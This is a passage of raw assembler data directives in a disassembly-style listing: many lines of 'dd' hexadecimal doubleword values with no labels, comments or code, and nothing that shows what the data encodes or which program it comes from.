		dd 2898987Eh, 29E63547h, 18E04C05h, 0EB5F2155h,	0FF2DB407h
		dd 4791F4AFh, 0B9D4DDBDh, 19E00E9h, 0B71968B0h,	99049136h
		dd 1828DCF0h, 0A9102897h, 0B07D9371h, 3A4C767Ah, 0D2180E34h
		dd 0F8F20F1h, 120056F4h, 0CDAE58FAh, 0F3F6640h,	9DE62F1Bh
		dd 131EB014h, 0BCDB008Eh, 0F1FDD65Eh, 5E7A0236h, 0DE5600A8h
		dd 7443DFADh, 92004D9Bh, 0A6D01957h, 0DEF07AA3h, 37630C68h
		dd 0B100AA30h, 6504B76Fh, 7493767Bh, 0C318007Ah, 827D891Dh
		dd 98008A2Eh, 3F784E48h, 608CA6D9h, 4F03D102h, 78C72F68h
		dd 0DC0096E5h, 371794Ch, 4AAA1104h, 0F1B21551h,	43559498h
		dd 0CB6E7200h, 0EE4DBF3Ch, 2D671504h, 0FB82A0BBh, 3AE09135h
		dd 0F01FF7EBh, 83096FCFh, 9902FE8h, 4E681024h, 0EFA72492h
		dd 31F42D0h, 0DC1198C2h, 0A1C7E01Ch, 938111C0h,	0ED970FCh
		dd 0C31AFD3Dh, 80D406A4h, 0A7AD7E1Eh, 5EEC1C00h, 0CF076866h
		dd 7D04E844h, 0FB0A84Ch, 0E0FD07A5h, 809C10D8h,	0CD261EFEh
		dd 0C244D1E8h, 0DEA60ACEh, 8472AFh, 393DFA7Dh, 920043C4h
		dd 0F4D2F87Fh, 0A801A3A0h, 0C0E419A4h, 74848339h, 9F019C38h
		dd 82CF2FD4h, 5C2496A1h, 299EE119h, 0DFE493Fh, 0C9C9342Fh
		dd 0FBBF9410h, 1A1DB300h, 82942E5Fh, 392400FCh,	6E78416Fh
		dd 0D44917DFh, 0F7020038h, 4B45E36Ah, 7AAC069Ah, 0A0D00371h
		dd 4DE4626h, 85868A83h,	8FE8B882h, 21F10575h, 0C05F94C5h
		dd 42EB472Ch, 32928C6h,	0CC7700D1h, 0F60ED3ACh,	55003448h
		dd 9B94BD76h, 9678375h,	0EBA150DEh, 82E24A0h, 74064EFCh
		dd 6B4615E0h, 9C60019h,	0D9F4C4CAh, 180058A7h, 2A33D347h
		dd 2CF5246h, 0C274329Bh, 0F8481A69h, 530057CEh,	0C4206E26h
		dd 1CB8DAh, 0F60CA2E1h,	0B470ACA4h, 79DFBA14h, 43097818h
		dd 0B0E9CF4Fh, 11DF8B7Ch, 88C0744Bh, 0C1618053h, 4ABFECC3h
		dd 2E446E7Ah, 0DA713A7Ch, 0D67BDB01h, 40F26168h, 9CF47334h
		dd 6FF3D112h, 36089C1Eh, 4ED301B5h, 0F1A156CFh,	64329Fh
		dd 0FAA71BA9h, 2398FBh,	0D072EA55h, 49D3D664h, 0AE071A18h
		dd 0D442E358h, 0A980F438h, 9AE5A054h, 6E8945Ch,	0FB3735E6h
		dd 4FF32949h, 224B00F0h, 0A3E5450Eh, 0B57818A8h, 96E12D02h
		dd 0A01BED2Ch, 0EE240AD0h, 0E6B2008Fh, 33263B87h, 83000B3Fh
		dd 0BF027604h, 243082CCh, 54147Bh, 0AA62957h, 0F5001278h
		dd 3F1C9CEFh
		dd 30825489h, 0E5802C17h, 47E79F21h, 4EE11078h,	9CA16990h
		dd 0AECB10FEh, 1CDE30E3h, 0A24ECCF1h, 0E45B10C0h, 123BF1FBh
		dd 90C99C21h, 0F1E15C0h, 0BC1BAB24h, 600EF513h,	20148BF9h
		dd 8C96E350h, 77401D70h, 0D3E440A7h, 1135EBE7h,	80E0F648h
		dd 3ABA56ECh, 2CE20667h, 8EA4C18h, 0C800A85Bh, 0A0FDD339h
		dd 819D0051h, 4CE2BE55h, 2B3FC1A9h, 910C6CD9h, 487858A0h
		dd 5C68F280h, 94923E3Dh, 0AEA4550Fh, 0D4DBF6F7h, 82AC7724h
		dd 996C1E96h, 0D5BA0460h, 45F15C04h, 388187B1h,	0CAFCB846h
		dd 99A91B36h, 0D1DA2994h, 2298F522h, 0E12863ECh, 0D0222931h
		dd 17FD6811h, 0A208289Ah, 846E9097h, 0A44C937Dh, 0E500E829h
		dd 639426DFh, 7AE8F42h,	737AAB33h, 0C453016Dh, 0DCC9D825h
		dd 8400D25Ah, 9769C33Ch, 0A670E53Eh, 2BFA6Dh, 720AF25Fh
		dd 2E94F113h, 0C4EBF000h, 8A1FD1C0h, 8BF94C7Ah,	85F64600h
		dd 3E075C5h, 0AC34BD03h, 0E0DBD0B2h, 1FC7D89Bh,	0A26805h
		dd 0D69A6F0h, 0C1002360h, 950B7584h, 60C8978Bh,	13DE11BAh
		dd 4A07CEECh, 723AC3A4h, 88760930h, 0D57F0061h,	11BF8BB5h
		dd 0AA00E975h, 0D7AF0801h, 92E16BDDh, 5D3513E4h, 0F7C800Ah
		dd 26005CFCh, 2FC1E331h, 0FC02AE73h, 0F93600F7h, 0E79B9D0Ah
		dd 0C700656Fh, 60EB85B0h, 5C0B7007h, 93006ADAh,	9F31B1D2h
		dd 0F000359Bh, 0BF6FD444h, 1685A20Ah, 0C7C92C1Ah, 68A580FCh
		dd 0A45AEF7Bh, 6F17C400h, 80DD35h, 58720EA9h, 0D03A26Ah
		dd 90196401h, 0B5B8E153h, 0BC987870h, 6E1030h, 295442FCh
		dd 3E611C4h, 5652781Fh,	0EEF9BD5Fh, 4AB880EFh, 0DF7ED13Dh
		dd 16A74A7h, 3624B292h,	407ABAD6h, 0CFD42C7h, 7D019970h
		dd 54085219h, 74691F01h, 3EC1790Eh, 0CAAC0F60h,	55006F8Ah
		dd 0B8C5E991h, 78EC93C7h, 0C6B601DEh, 0D3B8C6Ch, 0F8D887DDh
		dd 5750C328h, 0A9A0521h, 0E122EED3h, 3BB705FCh,	0A51280F9h
		dd 65FE0C49h, 10001EF8h, 7CDF6B9Bh, 66F9F2h, 2D2AAF3Ah
		dd 8DDCCA02h, 3EC67700h, 7617AD09h, 5917759h, 0DD6884ABh
		dd 0BDEC401Fh, 0AAC78921h, 0F8352603h, 870E6910h, 39A74F50h
		dd 3E7800E7h, 668D8F30h, 0B000F4BFh, 5A53F7B6h,	9C93BDAh
		dd 6AE13AA8h, 1FE33982h, 3FF16E60h, 0D80BF001h,	0E032DFA5h
		dd 5FB3ECh, 0CF714445h,	0FCA0D693h, 7DEC8C00h, 8E023413h
		dd 23698DFh, 0C2FF0BF6h, 6CD84A22h, 50C5C600h, 0DF39218Fh
		dd 0F29B0071h, 4428579Eh, 3C003029h, 3851BA2Fh,	0A77961h
		dd 0A60BE97Ch, 31D7EEA4h, 2644A548h, 8602440Dh,	405037F8h
		dd 0B7833Ch, 8859D1ADh,	0CD453EDCh, 633CA979h, 55110084h
		dd 0FCBBE364h, 477000C6h, 1AE238F8h, 48948292h,	310E7100h
		dd 2B9B755h, 0CC28AFF1h, 4CD09284h, 41AC5A01h, 8F275D79h
		dd 241A73D0h, 51C26E2h,	813DCDh, 22AFFA9Fh, 44508CE8h
		dd 6E0062E4h, 5D692ED9h, 0C818E5h, 0EA47D8B3h, 3CEB0AE4h
		dd 80C92039h, 62AB1439h, 792A29h, 98EA7A49h, 0E96BB902h
		dd 6D5C4300h, 0DBF1A5FAh, 91E407ACh, 0DF036795h, 67E7BE0h
		dd 3400BAC5h, 7808617Dh, 72DB6BBCh, 3EDE73C6h, 0CB0024A5h
		dd 37020C16h, 0CA1796FAh, 0C4019B4Ah, 291C15A3h, 48F3CCh
		dd 0C0E31BB7h, 7356300Ch, 3C4E2400h, 8EF07522h,	97B00A5Bh
		dd 0E4C816h, 0D6B941E6h, 7100594Dh, 2C7B2310h, 1EEF265Fh
		dd 25F2CEh, 360BCCE3h, 0FB0012D4h, 0A03BE574h, 848C68h
		dd 0E8784DB0h, 5D1A593Ch, 0F39B6700h, 4F896D6Ah, 0DE2E00CCh
		dd 0AC3583B5h, 923DF0C1h, 0D08EA895h, 9AECA3Eh,	8001410Fh
		dd 60A57A34h, 8CCE072Fh, 0C96D9A3Ch, 0BE192F03h, 4E928FC0h
		dd 14557030h, 0F647Bh, 0D2729A0Dh, 0D630DCD4h, 2FEB600Fh
		dd 0E7C07CF1h, 8E1952F0h, 0EA0807B0h, 0F0ABE6A5h, 0CE8FB641h
		dd 17500106h, 9D2813ACh, 5E4E3080h, 0FF481DF9h,	0B155002Ch
		dd 0B6CE8969h, 0D023483Ah, 0B045C525h, 8BAE12BEh, 0D0C0C317h
		dd 9211ED1h, 560A609Dh,	73B08C00h, 1058599Bh, 2C3A00h
		dd 52636E1Ch, 8E0320h, 21A08399h, 59149419h, 654B40Bh
		dd 0BC28004Eh, 1E939FDh, 1A86D592h, 406F02E4h, 0A5074A94h
		dd 65303A00h, 85C6612Ah, 0FC9075h, 4EDFEEF6h, 0B82F5B29h
		dd 4DC05600h, 87CFA7D3h, 0C98F0370h, 7F2ECB38h,	9B756FA8h
		dd 41011F00h, 0CEE59AFAh, 0B8F7009Dh, 0EEFE5FBBh, 0CC1D66B1h
		dd 0AA4E097Bh, 1DDCE0B0h, 135318h, 0F1AB48Eh, 0DB89B8F0h
		dd 0A300C076h, 0B3C931A9h, 180E8h, 0EE436E64h, 0ACED0D2h
		dd 0F295D301h, 3EA37C59h, 0E148A340h, 9BF900A7h, 75C0E976h
		dd 510029C9h, 7DF49EB6h, 0F9C49A9h, 0F3631410h,	82E47EE3h
		dd 0F1D6D9F0h, 0ACBD3507h, 0CA401DE6h, 6C3063Ah, 0BA71E25Ah
		dd 2C00EA15h, 0BB4168CEh, 3FEE82B4h, 61074479h,	0B0AD40FFh
		dd 0A3CA8A71h, 51A8438h, 98D75B91h, 1DD308C0h, 183C2007h
		dd 707D6000h, 1BB2CBB6h, 85760188h, 740C8D28h, 10C6071h
		dd 0BE89913Fh, 0A85D0148h, 704B3113h, 0A8DFCh, 7C4A4CB8h
		dd 0EF976DF9h, 0BD00A0E4h, 3477130Fh, 7D482080h, 0DEAB0037h
		dd 0F43946F2h, 0E601592Ch, 0DA9B6FAAh, 1E80AD5Fh, 2AD50F13h
		dd 0A101EA86h, 7489653Eh, 0F8301D2Fh, 9A520788h, 5BCAECh
		dd 0B190D23Ah, 29465000h, 4C091220h, 38ECF3h, 0BA23F78h
		dd 0E9FDA6Bh, 50848D00h, 6D74E5Dh, 8A28C077h, 67F94AD3h
		dd 0C2E6B000h, 0B7B21C12h, 3FD7FE9h, 0EEC86371h, 0F4C0A323h
		dd 9E001F1Ah, 0A5449C78h, 5172D5h, 35C1A76Bh, 75151617h
		dd 0BE388C00h, 54D9DE19h, 6AA50556h, 831A4B78h,	1CB90422h
		dd 0F6D960C8h, 0AB0FBB00h, 0EDFA58ADh, 1147005Ah, 84F0D187h
		dd 0F1009D98h, 0DDB29CE9h, 0FF42C0h, 0EBAC2777h, 786D20A9h
		dd 56DEBA00h, 29B40D23h, 3B7900D8h, 0B83A74B1h,	0CBE40CD6h
		dd 91724200h, 0C91A18D3h, 8C396098h, 3FF90A4h, 5CFAD900h
		dd 0A9669148h, 90266FA6h, 8B1BBBE0h, 4F001F7Bh,	0D08EBC99h
		dd 16E3AEh, 610B8342h, 0B0D562CCh, 69F89B07h, 6CC1CF1Bh
		dd 0D8E4E7FEh, 0B3391E53h, 0CEEBC075h, 0A6200B50h, 0CA063AECh
		dd 73FBE599h, 7337BF4h,	0B4343827h, 8520A028h, 2400E5CBh
		dd 184AF003h, 7CFA862h,	5215AEDEh, 87FB00BBh, 32032690h
		dd 0F21EA7E5h, 670A80C9h, 3E9BEC71h, 5E00ACDDh,	538B09DBh
		dd 2D0069F5h, 6C4777EAh, 0E9E3FB8h, 0ABDD37A1h,	0C51376C0h
		dd 8B18B3A4h, 3BCA24C2h, 0D86D0036h, 2685B962h,	275B8A1Ah
		dd 0BA00FAE8h, 0E2154443h, 13017521h, 32FD0690h, 0D6D4A95Eh
		dd 0E7E10007h, 86BAB8Eh, 0AD00AAC3h, 0E06111E5h, 622A36h
		dd 0BED9E8B4h, 0E23D6BBFh, 0C4B04A60h, 30CB23DBh, 9B10DC53h
		dd 89E036A3h, 9392DA03h, 8870228Bh, 3DC56115h, 4B8F9CFAh
		dd 48A035FCh, 44C1DD31h, 76D94000h, 0ADF9BAD2h,	16300043h
		dd 4A289BF3h, 48016A2Dh, 0A7AE4959h, 5AF8CEE8h,	657D00C0h
		dd 0EF730BFFh, 77001A27h, 2C7FEEE0h, 0F71CBBh, 19D53506h
		dd 46F8E30Dh, 7E005CE4h, 52CDAB41h, 7D214F1Eh, 0A62800CCh
		dd 995D8958h, 6001A36h,	9618BD5Ah, 944A7AFh, 5B7D36Dh
		dd 0E8E73700h, 0D3B853Ah, 30683006h, 20266Fh, 5F868FCAh
		dd 8E14AF08h, 0A44AA626h, 94004C28h, 799DB96Ch,	1244DFh
		dd 0F7647643h, 527DDB92h, 58C0FC60h, 0F38D761h,	4FD54FAh
		dd 4E75B7E3h, 2747F5B0h
		dd 6C908361h, 3FF09E85h, 0ABA615E6h, 8A67C4C4h,	0EE44E0B6h
		dd 0AA0015EFh, 29119B32h, 0E2D69Ch, 61108A94h, 2873434Dh
		dd 0E4F3D000h, 30D77684h, 5CF1E2Ah, 3A9A010Ah, 601FFFEBh
		dd 2C00A635h, 5B784856h, 90C8E182h, 7F68000Ch, 0ED5E77C5h
		dd 330059AFh, 0DBABBADCh, 0CE35CBh, 1C06C683h, 0D8BFFF18h
		dd 7100097Eh, 3B4A4161h, 0D639C4h, 1C3E9CA3h, 9705308Eh
		dd 0EBA74E1Dh, 0E2CB60C0h, 2A47FBh, 0E18C9EAEh,	1EF228A6h
		dd 0B77DEB76h, 0BE030298h, 0FEF69A9h, 0F0F1F091h, 17EC0059h
		dd 0DDBA9B09h, 4200D2D0h, 0A9881A20h, 24FEB852h, 20E7114Ah
		dd 67FD0098h, 6D038518h, 0E33FDB44h, 4D338036h,	0C36FC0C7h
		dd 0B273C2h, 2BB7B31Bh,	0F3AFB612h, 0F7125FE6h,	63002A0Eh
		dd 0ABE6CCEh, 0EBA100ADh, 0D62CE8EFh, 0A700AB6Eh, 0E1DE86B5h
		dd 8EE53Bh, 0B34323A4h,	362DD208h, 0A6780203h, 0E85F93E8h
		dd 3AC1C092h, 0AC96FE04h, 13B605E5h, 61BEC274h,	1CD21048h
		dd 0CD5E3800h, 65E40FA3h, 4348392Eh, 53036201h,	20FE9531h
		dd 8F00BE38h, 9249DB10h, 186684B2h, 5112CA93h, 9A80FB0Dh
		dd 546C02DFh, 949DA5CCh, 236F9480h, 300BF0Ah, 8EF967BCh
		dd 0E2F281h, 847A367Fh,	0E7EB40D7h, 3DC3B918h, 11FABD8h
		dd 11109A42h, 300C07A9h, 2000EA80h, 8DF5EFD0h, 3E6923E3h
		dd 6000F8C4h, 851A43A0h, 400F90Eh, 0F1ED51BEh, 45337Fh
		dd 316224A2h, 0D008B9FFh, 0EA60E463h, 6734E0F7h, 4BA00B2h
		dd 80AC9AC8h, 7F03934Fh, 1CF71EAFh, 0A7ADE849h,	0DF773019h
		dd 7ED2E548h, 6F6EED00h, 4621F795h, 9A57001Bh, 42BB65B6h
		dd 61000FC6h, 8FC243E5h, 2687B14h, 9DD180E9h, 5FE0520Dh
		dd 0AC02F462h, 0C4A4B11h, 0C0A1423Dh, 7CDA0ECh,	33FF4309h
		dd 0D13D0D9h, 0D718B853h, 0FBB8E9B3h, 2B460A40h, 0E21B03h
		dd 0F2792135h, 950EE89Ah, 0C074B929h, 0DEE98A9Ch, 0DB5300C3h
		dd 0D361A970h, 0D8035884h, 0A40566Ch, 15FAF017h, 0E11100AFh
		dd 0D67219B5h, 300C02DBh, 70E87A47h, 50E4582Bh,	0F0E7E216h
		dd 1E05D0ABh, 0FCBE0DCh, 0E9DEC080h, 313B0194h,	3016AA39h
		dd 0CA188126h, 86DF5987h, 127A98C8h, 5B38F1Ch, 102B9B7h
		dd 0F211F4E8h, 764980C3h, 6F33A6EAh, 0C310DF0Dh, 75B8B256h
		dd 0ABF330D0h, 24194400h, 22861D7Ch, 7F430FA1h,	53DDE823h
		dd 0F840205Dh, 330086D3h, 8E03E2A8h, 3E3746h, 0C1F92EAFh
		dd 87258A49h, 2D0F6302h, 61B0F4C9h, 0BCF00DF6h,	0B8E70024h
		dd 537E2935h, 1504C838h, 0E19D2B8Eh, 0C7ABC0C0h, 51980076h
		dd 548BD9A2h, 0ED001A6Bh, 57BAB494h, 0FFB6E7h, 5DEEDA40h
		dd 0AF609019h, 94580B00h, 98E26CEBh, 0C9D50001h, 0FD8528C5h
		dd 8CB02426h, 33002771h, 0DD71FF8Fh, 0B3505Eh, 0F412CDC2h
		dd 0DF235A24h, 0D20F1000h, 0B5306820h, 0CFEF04E1h, 0C09C92D1h
		dd 410E7514h, 0A4E830EFh, 0DBE83B03h, 0E83D15D5h, 61A96B06h
		dd 59F928B0h, 2035C521h, 2C3E8718h, 0A0888084h,	26C6EDFEh
		dd 0D8280016h, 4B2DF33h, 7E008085h, 0EC64CC35h,	8B5B20h
		dd 69DE36ADh, 6EEF2255h, 160DC000h, 0ED68D1B8h,	0DF71006Bh
		dd 4E82011Ah, 1F90B9F6h, 0F007A20Eh, 7354402Dh,	78F21B8h
		dd 1AE668A0h, 5EBBA1BDh, 58EFF01Eh, 7AAC8048h, 53F1BE00h
		dd 42C839C3h, 0C10A00F0h, 414F8FACh, 8824635Fh,	60805478h
		dd 5B6F48F4h, 0A6BD00EEh, 0D17096C1h, 11312CBh,	0D001F723h
		dd 0E8E890Dh, 8DA874h, 0B7FC313Fh, 9EC5B24h, 1BE63C90h
		dd 69F06D00h, 2C86E278h, 287CF6h, 873D1DD9h, 40C8F48h
		dd 0B4223A00h, 3C617F78h, 12F21Bh, 6AC8ABD9h, 7B166611h
		dd 7DDA4600h, 92CFC49Eh, 0BBF00E0h, 8190769Dh, 0E21611D1h
		dd 0BF09B231h, 337C803Ah, 353DF93h, 0BEF739B1h,	28039B63h
		dd 3A180573h, 5843D8ECh, 0C82B0012h, 6C7AED87h,	9100523Eh
		dd 0C18B8490h, 280AF79h, 2A0328BFh, 0CC603493h,	0E6E4C017h
		dd 2C0E6F00h, 47D762FDh, 0D370A3h, 93D5A951h, 4997BAE1h
		dd 9881992Eh, 40BE073Ch, 7570E761h, 7C0988C5h, 4F6A0BA9h
		dd 84006279h, 5E0B3B34h, 6400CFECh, 11C401Bh, 27FA2BCh
		dd 6E8BA770h, 0CD408494h, 21071405h, 5DA6EBCBh,	0FF259D91h
		dd 13B240E8h, 0EE72343Bh, 0ADA28800h, 67EB0h, 24174A81h
		dd 3F11522Ch, 2EEC13EAh, 5041AD00h, 0BEEB875Eh,	1F0BE677h
		dd 0C334C7D2h, 45BDFE1Ah, 1F9814E8h, 0C058A47Bh, 8FDA0080h
		dd 0AEC26C4Ch, 0B2BF0129h, 0C7725FEh, 0FDBEC45Ch, 0B1049098h
		dd 72C341EFh, 7ECAF490h, 0FC3A01F1h, 0B0E788E9h, 0D8B940CFh
		dd 907B8AB5h, 8039983Eh, 357AFEAAh, 909441D6h, 0C3840030h
		dd 62EF365Ch, 323B8042h, 0D4FA9291h, 88484040h,	0FE40Dh
		dd 0E6D362F1h, 5133804h, 0E3C53500h, 0CA997FEEh, 60A14C2Bh
		dd 0F1196C00h, 0BF677C51h, 4311A07h, 86404B3Bh,	5BB621h
		dd 3C1DD52Eh, 3714CFC5h, 0E503DCB0h, 30FD81E6h,	6299B86Ch
		dd 0DC440067h, 0F77B9890h, 0C63D7466h, 0AC51F2A5h, 7A3FF0F0h
		dd 4F02687Ah, 74F41E88h, 79274015h, 20C53E02h, 84171200h
		dd 1B41660Ah, 8F523D01h, 58AEA23Bh, 9A590C20h, 986E7E60h
		dd 16CF0037h, 3CF83968h, 0F500E798h, 0AE1BE834h, 0D60311h
		dd 0A2778A12h, 539E7CEBh, 2C9BCB00h, 0C121A7D8h, 242D0080h
		dd 3F25340Dh, 400073D4h, 7AAC6A3h, 6EF8C0h, 0A4CE4890h
		dd 58AC174Bh, 0F167731Ch, 0C0DA524Eh, 8FB60521h, 23941DAAh
		dd 0EB4C099h, 3FFACDA6h, 0F41A931Fh, 1C9897D4h,	0CC4023BCh
		dd 0C876E80Dh, 0DF370091h, 0AFECEA6h, 690003FAh, 0C4929A54h
		dd 0B06098ACh, 84F10042h, 6DD3E226h, 1101A0F3h,	0CCFC580Dh
		dd 0A7C83C48h, 0F24200EBh, 4374E36Bh, 9F01FB8Ch, 77DAB03Ah
		dd 0B4246075h, 89AA001Ah, 392F77Ah, 0C70010C6h,	7F14D998h
		dd 2C3ABAh, 70193985h, 9DA6976Ah, 41F46300h, 6076CFDh
		dd 5EA830E1h, 61E2A0E6h, 866B6A00h, 0EEB4F3F6h,	0A4A01DAh
		dd 8F87058Eh, 4F40F267h, 83030F6Bh, 0A03CDFFDh,	24200003h
		dd 203AAC6Ch, 0E900F91Ch, 37D57239h, 0D38701h, 947EECD2h
		dd 259F9EE6h, 93FCB200h, 3235894Dh, 0EF310E92h,	0B46F46B6h
		dd 0DD0B9DE0h, 0B702E43Ah, 71B1457Bh, 980C704Bh, 16480070h
		dd 1B9D9E25h, 91006AE0h, 5F45EFE3h, 135E8864h, 455B1CCh
		dd 0C085A310h, 22F4F586h, 38549800h, 0ED0AAEF7h, 0D9C10036h
		dd 145BE00Eh, 6C000903h, 85B67DE1h, 4EB5D5h, 0E525BBC6h
		dd 33DDF20Dh, 8A533600h, 287159D1h, 899F3F16h, 0B68D0180h
		dd 0A8F362F2h, 0DD514F09h, 7A40103h, 0ABE35058h, 0A0110078h
		dd 8AB3BA57h, 7500E33Ah, 70895A5Bh, 27340E6h, 6657A794h
		dd 4060CFCBh, 9A31148Eh, 4EADF8E2h, 28CA60h, 93C96AFCh
		dd 0A7419D56h, 58C858C1h, 0E0242761h, 9A3010Fh,	149456B8h
		dd 3812601Dh, 0BF91FC39h, 8F8A0459h, 1780AEA5h,	0E41A80h
		dd 5DC1CADAh, 2E6732FDh, 63CFEE00h, 0C9DC4C86h,	3A88000Dh
		dd 3DCCBEC5h, 0B00C719h, 4D52FDDFh, 7A841F3Ch, 0CE60923h
		dd 92001E58h, 8B1572B7h, 3F22DB16h, 0D8235C01h,	27FD4FE1h
		dd 3A6EC0h, 0E96F284h, 4A657C69h, 0B507FD03h, 0E3FCCD01h
		dd 0F9B655h, 4EAE2DF4h,	488361FBh, 883B3900h, 0BDF5B1B3h
		dd 0E44C1DF8h, 0C8E8C047h, 0D46931D2h, 0A650CF63h, 0A4E59035h
		dd 0D1BD1094h, 6E2878F3h
		dd 703DCDDh, 8FFD5908h,	7708180Fh, 9CCE2095h, 2C0094E6h
		dd 89AB2B71h, 5275Eh, 5DF7E10Ah, 0FEA1A988h, 1914C903h
		dd 6096FD4Fh, 0BF2DB038h, 786F645Dh, 97BD8111h,	29A87645h
		dd 493E7BFEh, 8D0068F7h, 0D7D3CD06h, 0C9196F3Fh, 86083C2Fh
		dd 0F86D2180h, 0F13AE9CAh, 0E515871Fh, 6A719028h, 4BE05800h
		dd 0A6291BFDh, 0AE780014h, 9C8E5D9h, 1800DCE6h,	0D0A73532h
		dd 7A0D60Fh, 0CD5D8FC6h, 3EB40043h, 2A38C1F5h, 9A7300AEh
		dd 98C8406h, 0DC7A0348h, 3FC0FCFh, 5BF35C90h, 93B0B100h
		dd 0BBA7B274h, 977572h,	4D306F82h, 5A6C6740h, 375AC00h
		dd 0BAFEFF65h, 71E11DD0h, 95740FA1h, 72F73D60h,	3607F1FAh
		dd 19A08DBDh, 0FF053F81h, 170D3E8h, 0A210DD84h,	902A73BBh
		dd 0E8EA7208h, 0B3A430CDh, 21980A10h, 58D86307h, 650DC8Eh
		dd 181AF4h, 94CD1345h, 9304367h, 0B737B118h, 88D0AA28h
		dd 0BE044A2Dh, 66C0CD1Ch, 6E1B085Ch, 61FD5604h,	42597504h
		dd 242818Ch, 722504B0h,	2CBB2806h, 14983179h, 11086029h
		dd 8411DDBEh, 42581750h, 0DA220E3Fh, 9A8E23D7h,	14707928h
		dd 0C9333730h, 80600406h, 3C8894E7h, 4829DE0Bh,	220859DEh
		dd 0C61B0001h, 0C27F2E97h, 0E0234E6h, 70D63CC7h, 0CF9E01Ch
		dd 133E0038h, 0EFC8C443h, 0AF01BFFDh, 78BAA9E2h, 8804AEBh
		dd 0F693A5E8h, 8400F882h, 0EAA67B3Bh, 1F987FD5h, 0C0233CECh
		dd 3AB6B5Ah, 800DE45h, 0DA823D79h, 3DA36249h, 6D01CE95h
		dd 0F68A63A4h, 558370C4h, 0F70AA200h, 5170F2FDh, 0C7CA00B9h
		dd 0EDC3A197h, 9200CCE8h, 0F7DEEC3Ch, 0F6099Ah,	15FEE30Ah
		dd 8B9002B7h, 691D1600h, 0BF5FAE08h, 885800C1h,	6ABEF7D5h
		dd 7928FC7Bh, 1400C56Eh, 947DAF70h, 5D243Ch, 1BE5B0F6h
		dd 7184D22Dh, 0A007CE8h, 0F1D47686h, 181C04C0h,	60BBD0E0h
		dd 200ACD6h, 0FF635ACDh, 39F3DDh, 1934C0CCh, 91997455h
		dd 0F8808660h, 1D9DBC8Eh, 0C049812Ah, 18AD7035h, 1438EDB0h
		dd 0DAA800F0h, 1F761168h, 0AFC900C6h, 94E407F4h, 0B30047B2h
		dd 111CC2EEh, 0D61EA6h,	1801BDBCh, 47D54672h, 0A595781Fh
		dd 45296700h, 1D0AE1Dh,	5EDE70Dh, 0C8DA2A19h, 0A03DCCBh
		dd 510F1CF0h, 405698B7h, 5A0C00BEh, 8746B4CEh, 4B0063FDh
		dd 2D99C3Dh, 355313Ah, 0A28B1C97h, 0DAF22BD0h, 509BE887h
		dd 3968959Ch, 0B9BA8D1Fh, 5600C7E4h, 7E381054h,	0CD963B3Bh
		dd 1EF35107h, 17B700C8h, 5600BD18h, 1F088021h, 0EEAE5Dh
		dd 579D022Dh, 0BD221D97h, 0FBA8D703h, 0B8097A1Bh, 1FDEAAh
		dd 4283B1F8h, 535FF6FAh, 5902DF14h, 0B9DC00ACh,	0E63F9497h
		dd 40AC0F10h, 0E239EE0h, 7AC0E105h, 0C005004h, 81556691h
		dd 1D4143C4h, 4D7CFBF2h, 0F008FA3Ah, 19733BFCh,	0DE658C00h
		dd 61EEA67Ah, 0F6980021h, 3B873F62h, 74006D5Bh,	6A2CEAD4h
		dd 0D2DCB3h, 0A1A4B436h, 0A0F67310h, 0FAB7583Dh, 96007D79h
		dd 2FFC9A07h, 0F7DDD8h,	0FE152DD4h, 0DC87BDB1h,	0EFD803Ah
		dd 2095B560h, 312F1D3Bh, 1857C35h, 2DCD0F5h, 0E87017E7h
		dd 910090D7h, 6A1BDD40h, 9BFE96h, 0F45FF8BEh, 128D6D71h
		dd 0E45639h, 331508E3h,	21A801h, 0BDDC85C2h, 7FC0AA4Bh
		dd 6279E500h, 0DAC588Ah, 92500EEh, 43D1D0CBh, 942E2304h
		dd 0EA1C424Ah, 7A281F40h, 729736CCh, 0F73100A9h, 0B2102C96h
		dd 0BF049FECh, 790FD732h, 0D3AB6180h, 0A8D900A9h, 0F62566EFh
		dd 0CF3BC3E9h, 2CBA95h,	0ECADC5CCh, 1E6D12A9h, 8E4FDF55h
		dd 0C0BE6C35h, 24F5A133h, 0B20239BAh, 0D0A90CE1h, 0E4E0409Dh
		dd 68F0007Bh, 9E417106h, 0AF2604BBh, 813E1EB7h,	4201D299h
		dd 0ABDCE3B1h, 13C7E09h, 2B6E58B3h, 0BE7D20A9h,	10840008h
		dd 945176BCh, 67D90B7Ah, 8685D444h, 0FAF000CBh,	58F1CEAEh
		dd 3EAC0102h, 80EBA8F8h, 0CCA548D8h, 4A760019h,	5C03BAD2h
		dd 5301574Ch, 0FB8F08ADh, 0C0DC2D6Ah, 140B98D5h, 0BB95361Dh
		dd 0E24C5D00h, 0F71A5126h, 0CCB97C09h, 0C0290F94h, 0F19981Dh
		dd 9B571280h, 45C007E4h, 0CE75F090h, 0DC00D742h, 3B8384ECh
		dd 929464h, 0E7D673Fh, 0EB6FD230h, 0CF21CB01h, 0E1763345h
		dd 223AD0h, 0F3B28B61h,	0BFA94C9h, 64852900h, 0F4675B7h
		dd 0C62F00B9h, 99DA3A2Bh, 0D2716EABh, 2CDAC00h,	527A09C2h
		dd 0E12A00D3h, 0E2310705h, 66002C3Fh, 78E5ADB5h, 35E043h
		dd 0F0154B3Bh, 5539C095h, 0D312EC00h, 4ADD3F0Ch, 0AFCE0E74h
		dd 0D82094C1h, 0AD142F5Dh, 0FB069C14h, 258B07E8h, 26C0D4F1h
		dd 7921D7F6h, 35D2006Bh, 2ED1D81Ch, 780FEB1Bh, 7C1E0E90h
		dd 61F1AC87h, 0D8F0C3h,	876D1F09h, 3BB9BFEBh, 928D831Fh
		dd 880CCDEh, 0EA61BD9Ch, 0F2F8006Eh, 0D7979F8Eh, 0D50E7EB1h
		dd 6721CC2Ah, 0E690C78Dh, 8738D1h, 357D149Ah, 68ED3417h
		dd 97C4AA01h, 0B24CB1BBh, 77560F60h, 0B5FECEh, 47D0CFE7h
		dd 0D8C21832h, 950F9905h, 4A80D3AAh, 0E7384A9h,	4513B1AFh
		dd 129F46A0h, 6CF253DEh, 49B9B800h, 64E0969Ah, 0CC48012Bh
		dd 0E8D3395h, 0DCB0F354h, 660676AEh, 5D02F6E1h,	0FFAD0020h
		dd 946A72C3h, 880049B1h, 2BC00452h, 0FD3D4E23h,	44D03680h
		dd 0B2802D70h, 4C1E9000h, 7E3C459Bh, 0CD93079Fh, 40546329h
		dd 3DB9080Eh, 521A060Ah, 8B388EE8h, 21C155B0h, 0B820C050h
		dd 53EC0DD1h, 2BCE0041h, 2FD2CD4Eh, 0D300137Fh,	590C828Ch
		dd 1312AB7Dh, 1BB6405Eh, 55E00940h, 0A571C6E3h,	362B2600h
